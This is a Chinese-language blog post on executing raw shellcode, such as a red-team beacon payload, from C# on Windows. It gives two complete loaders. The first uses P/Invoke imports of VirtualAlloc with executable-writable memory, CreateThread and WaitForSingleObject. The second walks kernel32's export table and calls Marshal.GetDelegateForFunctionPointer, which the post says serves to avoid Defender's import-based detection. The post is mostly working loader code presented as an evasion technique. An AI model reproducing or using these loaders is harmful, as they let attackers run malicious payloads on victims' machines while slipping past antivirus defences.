.NET:使用 P/Invoke 调用 C# 中的 Win32 DLL——本质上和动态加载DLL没有区别

发布时间 2023-08-30 10:49:58作者: bonelee

.NET:使用 P/Invoke 调用 C# 中的 Win32 DLL

本质上和动态加载DLL没有区别!!!如下:

 

在 .NET 中执行非托管代码时,我们通常想要实现什么? 假如是红队,一般想要运行原始的beacon payload,在该payload中运行 C# 封装的本地代码。

很长一段时间以来,最常见的做法是这样的:

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

public static void StartShellcode(byte[] shellcode)
{
    uint threadId;

    IntPtr alloc = VirtualAlloc(IntPtr.Zero, shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
    if (alloc == IntPtr.Zero) {
        return;
    }

    Marshal.Copy(shellcode, 0, alloc, shellcode.Length);
    IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out threadId);
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}

一切看起来很乐观,但是很快蓝队就意识到:引用一堆可疑方法的 .NET 二进制文件 ,一看就是非奸即盗。

如果在一台受Defender保护的机器上导入并编译上述这种包含了如此明显特征方法的文件,Microsoft 会弹出一个明显的警告,表明这台机器刚刚感染了 VirTool: MSIL/Viemlod.gen!A.

因此,当蓝队检测力度不断加强的时候,红队的绕过技术也在同步发展。执行非托管代码的演变归功于@fuzzysec 和@TheRealWover,他们引入了 D/Invoke 技术。现在暂且不讨论DLL 加载程序,来看看 D/Invoke技术中使用的从托管代码转换为非托管代码的底层技术:关键方法 Marshal.GetDelegateForFunctionPointer。文档将此方法描述为“将非托管函数指针转换为委托”。此方法成功解决了那些令人讨厌的导入问题,迫使防御者跳出 ImplMap 表去寻求其他的防御手段。关于如何使用Marshal.GetDelegateForFunctionPointer 在 x64 进程中执行非托管代码,下面是一个简单示例:

[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr ShellcodeDelegate();

public static IntPtr GetExportAddress(IntPtr baseAddr, string name)
{
    var dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(baseAddr);
    var peHeader = Marshal.PtrToStructure<IMAGE_OPTIONAL_HEADER64>(baseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf<IMAGE_FILE_HEADER>());
    var exportHeader = Marshal.PtrToStructure<IMAGE_EXPORT_DIRECTORY>(baseAddr + (int)peHeader.ExportTable.VirtualAddress);

    for (int i = 0; i < exportHeader.NumberOfNames; i++)
    {
        var nameAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfNames + (i * 4));
        var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr);
        if (m == "VirtualAlloc")
        {
            var exportAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfFunctions + (i * 4));
            return baseAddr + (int)exportAddr;
        }
    }

    return IntPtr.Zero;
}

public static void StartShellcodeViaDelegate(byte[] shellcode)
{
    IntPtr virtualAllocAddr = IntPtr.Zero;

    foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
    {
        if (module.ModuleName.ToLower() == "kernel32.dll")
        {
            virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc");
        }
    }

    var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr);
    var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);

    Marshal.Copy(shellcode, 0, execMem, shellcode.Length);

    var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(execMem);
    shellcodeCall();
}